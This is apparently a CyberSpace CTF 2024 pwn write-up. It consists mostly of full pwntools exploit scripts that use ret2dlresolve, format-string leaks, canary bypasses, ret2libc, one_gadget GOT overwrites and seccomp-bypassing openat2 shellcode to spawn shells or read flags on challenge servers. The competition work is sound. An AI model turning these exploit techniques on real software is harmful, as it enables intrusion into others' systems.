# (writeup) cyberspace CTF 2024 ## ez-rop - this is ret2dlresolve challenge - for ref, have a look at my blog 👉 [link](https://hackmd.io/@trhoanglan04/bof_advanced_level#RET2DL_RESOLVE) - first we have to pivot prepare for next input - then chain the payload properly to perform dlresolve - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./chall",checksec=False) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote("ez-rop.challs.csc.tf",1337) else: p = process(exe.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=f''' b*0x4011ad b*0x4011b7 c ''') input() pop_rsi = 0x0000000000401165 mov_rdi_rsi = 0x000000000040115a pop_rbp = 0x000000000040115e #: nop ; pop rbp ; ret rw_section = 0x404a00 leave_ret = 0x0000000000401190 mov_dl_ptr_rbp_0x48_mov_ebp_esp_mov_rdi_rsi = 0x0000000000401155 def pop_rdi(addr): return p64(pop_rsi) + p64(addr) + p64(mov_rdi_rsi) GDB() setup = 0x40119a payload = b"a"*0x60 payload += p64(rw_section) payload += p64(setup) sl(payload) payload = p64(pop_rbp) + p64(rw_section+0x10-0x48) payload += p64(mov_dl_ptr_rbp_0x48_mov_ebp_esp_mov_rdi_rsi) payload += pop_rdi(0) + p64(pop_rsi) + p64(rw_section) + p64(exe.plt.read) payload += p64(pop_rbp) + p64(rw_section) + p64(leave_ret) payload = payload.ljust(0x60,b'A') payload += p64(rw_section-0x60-8) + p64(leave_ret) + p8(0xff) sl(payload) JMPREL = 0x4005f0 SYMTAB = 0x4003d0 STRTAB = 0x4004c0 link_map = 0x0000000000401020 SYMTAB_addr = 0x404a50 JMPREL_addr = 0x404a78 STRTAB_addr = 0x404a88 symbol_number = int((SYMTAB_addr - SYMTAB)/24) reloc_arg = int((JMPREL_addr - JMPREL)/24) st_name = STRTAB_addr - STRTAB log.info("symbol_number: " + hex(symbol_number)) log.info("reloc_arg: " + hex(reloc_arg)) log.info("st_name: " + hex(st_name)) st_info = 0x12 st_other = 0 st_shndx = 0 st_value = 0 st_size = 0 SYMTAB_struct = p32(st_name) #0x404a40 SYMTAB_struct += p8(st_info) SYMTAB_struct += p8(st_other) SYMTAB_struct += p16(st_shndx) SYMTAB_struct += p64(st_value) #0x404a48 SYMTAB_struct += p64(st_size) #0x404a50 r_offset = exe.got['read'] r_info = (symbol_number << 32) | 7 r_addend = 0 JMPREL_struct = p64(r_offset) #0x404a78 JMPREL_struct += p64(r_info) #0x404a80 payload = flat( b'A'*8, #a00 #padding pop_rsi+1, #a08 #ret #avoid xmm regs pop_rdi(0x404a90), #a10 a18 a20 #string /bin/sh pop_rsi, #a28 0, #a30 link_map, #a38 #link_map reloc_arg, #a40 #reloc_arg 0, #a48 SYMTAB_struct, #a50 #a58 #a60 0, 0, #a68 #a70 JMPREL_struct, #a78 #a80 b'system\0\0', #a88 b'/bin/sh\0', #a90 ) sl(payload) p.interactive() #CSCTF{ez_rop_bc6680c1a0d13d778d73c59185b1e412} ``` >CSCTF{ez_rop_bc6680c1a0d13d778d73c59185b1e412} ## ticket-bot - confused by seed from srand? (/dev/urandom) - real bug from the second rand, whereas we can simulate the random by implement 10000000 times - compiled and run, we have the "output.txt" ```c #include <stdio.h> #include <stdlib.h> int main() { FILE *file; file = fopen("output.txt", "w"); // Mở file trong chế độ ghi (write) if (file == NULL) { printf("Không thể mở file!\n"); return 1; } for (int i = 0; i < 0x989680; i++) { srand(i); unsigned int rand1 = rand(); unsigned int rand2 = rand(); // Ghi cả hai giá trị vào cùng một dòng fprintf(file, "%u %u %u\n", i, rand1, rand2); } fclose(file); // Đóng file sau khi ghi return 0; } ``` - for testing, take the number challenge given to us (in this case is rand2), find that number (ctrl+F) then take the other number (rand1) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./chal_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*AdminMenu+135 b*AdminMenu+188 c ''') input() if args.REMOTE: p = remote('ticket-bot.challs.csc.tf',1337) else: p = process(exe.path) GDB() p.recvuntil(b'ticketID ') first = p.recvline() info("check: " + str(first)) sl(b'2') p.recvuntil(b'Password\n') second = input() p.sendline(second) sl(b'1') payload = b'%9$p' sl(payload) p.recvuntil(b'to\n') exe_leak = int(p.recvuntil(b'=',drop=True), 16) info("exe leak: " + hex(exe_leak)) exe.address = exe_leak - exe.sym.ServiceLogin - 71 info("exe base: " + hex(exe.address)) pop_rdi = 0x0000000000001653 + exe.address sl(b'2') sl(b'0') sl(b'1') payload = b'a'*8*2 payload += p64(pop_rdi) + p64(exe.got.puts) + p64(exe.plt.puts) + p64(exe.sym.AdminMenu) sla(b'new Password\n',payload) p.recvuntil(b'to\n') p.recvuntil(b'aaaa') libc_leak = u64(p.recv(6) + b'\x00\x00') libc.address = libc_leak - libc.sym.puts info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) sl(b'1') payload = b'a'*8*2 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(pop_rdi+1) + p64(libc.sym.system) sla(b'new Password\n',payload) p.interactive() #CSCTF{r4nd_funk7i0n_i5_n0t_s0_r4nd0m3_a5_y0u_th0ugh7} ``` ## ticket-bot-v2 ```py #!/usr/bin/python3 from pwn import * exe = ELF('./chal_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*ViewTicket+123 b*adminpass+58 c ''') input() if args.REMOTE: p = remote('ticket-bot-v2.challs.csc.tf',1337) else: p = process(exe.path) GDB() sla(b'here:\n',b'a') sl(b'1') sla(b'here:\n',b'a') sl(b'1') sla(b'here:\n',b'a') sl(b'1') sla(b'here:\n',b'a') sl(b'1') sla(b'here:\n',b'a') sl(b'1') sla(b'here:\n',b'a') sl(b'2') sla(b'ticketID\n',b'5') p.recvuntil(b'a\0\0\0') password = u64(p.recv(8)) info("password: " + str(password)) sl(b'3') sl(str(password)) sl(b'1') sla(b'new Password\n',b'%9$p') p.recvuntil(b'to\n') exe_leak = int(p.recvuntil(b'=',drop=True), 16) info("exe leak: " + hex(exe_leak)) exe.address = exe_leak - exe.sym.AdminMenu - 129 info("exe base: " + hex(exe.address)) sl(b'3') sl(str(password)) sl(b'1') sla(b'new Password\n',b'%7$p') p.recvuntil(b'to\n') canary = int(p.recvuntil(b'=',drop=True),16) info("canary leak: " + hex(canary)) sl(b'3') sl(str(password)) sl(b'1') pop_rdi = 0x00000000000018d3 + exe.address payload = b'a'*8 + p64(canary) + b'a'*8 payload += p64(pop_rdi) + p64(exe.got.puts) + p64(exe.plt.puts) + p64(exe.sym.adminpass) sla(b'new Password\n',payload) p.recvuntil(b'to\n') p.recvuntil(b'aaaa') libc_leak = u64(p.recv(6) + b'\x00\x00') libc.address = libc_leak - libc.sym.puts info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) payload = b'a'*8 + p64(canary) + b'a'*8 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(pop_rdi+1) + p64(libc.sym.system) sla(b'new Password\n',payload) p.interactive() #CSCTF{4rr4ys_4nd_th3re_1nd3x3s_h4ndl3_w1th_c4r3} ``` ## silent-rop-v2 ```py #!/usr/bin/python3 from pwn import * exe = ELF('./chal_patched', checksec=False) libc = ELF("./libc-2.31.so", checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' set solib-search-path /home/hlaan/ctf/cyberspace/silent_rop_v2/silent-rop-v2/ b*vuln+34 b*vuln+42 c ''') input() if args.REMOTE: p = remote('silent-rop-v2.challs.csc.tf',1337) else: p = process(exe.path) GDB() pop_rdi = 0x0000000000401293 pop_rbp = 0x000000000040115d pop_rdx = 0x00000000004011e2 rw_section = 0x404a00 leave_ret = 0x00000000004011d8 mov_rdi_rdx = 0x0000000004011E9 mov_rdx_rdi = 0x00000000004011F2 add_rdi_rdx = 0x00000000004011f6 mov_ptr_rdi_rdx = 0x00000000004011e5 og = [0xe3afe,0xe3b01,0xe3b04] off_to_og = og[1] - libc.sym.read info("offset: " + hex(libc.sym.read)) payload = b'a'*16 + b'a'*8 payload += p64(pop_rdx) + p64(exe.got.read) + p64(mov_rdi_rdx) #rdi = read@got payload += p64(pop_rdx) + p64(off_to_og,sign=True) payload += p64(add_rdi_rdx) + p64(mov_rdx_rdi) #rdx = system payload += p64(pop_rdi) + p64(rw_section) payload += p64(mov_ptr_rdi_rdx) + p64(pop_rdx) + p64(0) payload += p64(pop_rbp) + p64(rw_section-8) + p64(leave_ret) s(payload) p.interactive() #CSCTF{Full_R3lR0_c4Nt_st0p_uS_Fr0m_DL_r3S0lv1nG_h9348fj3984fj439fij34i34jf93fj034ff} ``` ## shelltester-v2 - debug.dbg ```dbg file chall set architecture arm target remote :1234 b*vuln+52 b*vuln+96 c ``` - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) # libc = ELF('./libc.so.6',checksec=False) context.arch = 'arm' context.log_level = "debug" # p = process(exe.path) # p = process(['./qemu-arm-static', '-g' ,'1234' ,'./chall']) # raw_input('Debug') p = remote("shelltesterv2.challs.csc.tf",1337) p.sendlineafter(b'something: ',b'%43$p') pop_r0_r4_pc = 0x00027194 binsh = next(exe.search(b'/bin/sh\0')) p.recvline() canary = int(p.recvuntil(b'\n',drop=True),16) payload = b'a'*100 + p32(canary) + b'a'*4 payload += p32(pop_r0_r4_pc) + p32(binsh) + p32(0) + p32(exe.sym.gift) p.sendlineafter(b'leave?',payload) p.interactive() #CSCTF{4rm_pwn_1s_c00l_r1ght?} ``` ## menu - call openat2 to bypass seccomp - need to call mprotect first to perform shellcode then call openat2 - syscal table: https://syscalls.mebeim.net/?table=x86/64/x64/v6.8 - remain shellcode asked chatgpt to write asm ```py #!/usr/bin/python3 from pwn import * exe = ELF('./chal_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*menu+65 b*menu+102 c ''') input() if args.REMOTE: p = remote('menu.challs.csc.tf',1337) else: p = process(exe.path) GDB() p.recvuntil(b'gift: \n') p.recvuntil(b'\x1B[0;34m') exe_leak = int(p.recvuntil(b'\n', drop=True), 16) exe.address = exe_leak - exe.sym.greeting info("exe leak: " + hex(exe_leak)) info("exe base: " + hex(exe.address)) call_rax = 0x0000000000001014 + exe.address pop_rbp = 0x00000000000011f3 + exe.address leave_ret = 0x0000000000001530 + exe.address payload = b'a'*208 + p64(exe.address + 0x4a00) payload += p64(pop_rbp+1) + p64(exe.sym.printf) + p64(exe.sym.puts) + p64(exe.sym.menu) # payload += p64(leave_ret) + p64(exe.sym.read) sa(b'today?\n', payload) p.recvlines(2) libc_leak = u64(p.recvline()[:-1].ljust(8, b'\x00')) libc.address = libc_leak - 0x62050 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) pop_rdi = libc.address + 0x000000000002a3e5 pop_rsi = libc.address + 0x000000000002be51 pop_rax = libc.address + 0x0000000000045eb0 pop_rdx_r12 = libc.address + 0x000000000011f2e7 syscall_ret = libc.address + 0x0000000000091316 add_r10_rdx_mov_ptr_r9_r10 = libc.address + 0x0000000000142d29 payload = b'a'*216 payload += p64(pop_rax) + p64(0xa) payload += p64(pop_rdi) + p64(exe.address + 0x4000) payload += p64(pop_rsi) + p64(0x1000) payload += p64(pop_rdx_r12) + p64(7) + p64(0) payload += p64(syscall_ret) payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi) + p64(exe.address + 0x4a00) payload += p64(pop_rdx_r12) + p64(0x100) + p64(0) payload += p64(exe.sym.read) payload += p64(pop_rax) + p64(exe.address + 0x4a00) payload += p64(call_rax) shellcode = asm(''' sub rsp, 0x500 mov rax, 437 mov rdi, 4294967196 push 1734437990 mov rsi, rsp push 0x10 push 0 push 0 mov rdx, rsp mov r10, 24 syscall mov rdi, rax mov rax, 0 mov rsi, rsp mov rdx, 0x100 syscall mov rdi, 1 mov rax, 1 syscall ''',arch='amd64') sa(b'today?\n', payload) input() s(shellcode) p.interactive() #CSCTF{th3_s3cr3t_0rd3r_348678943723879fdhg73389} ```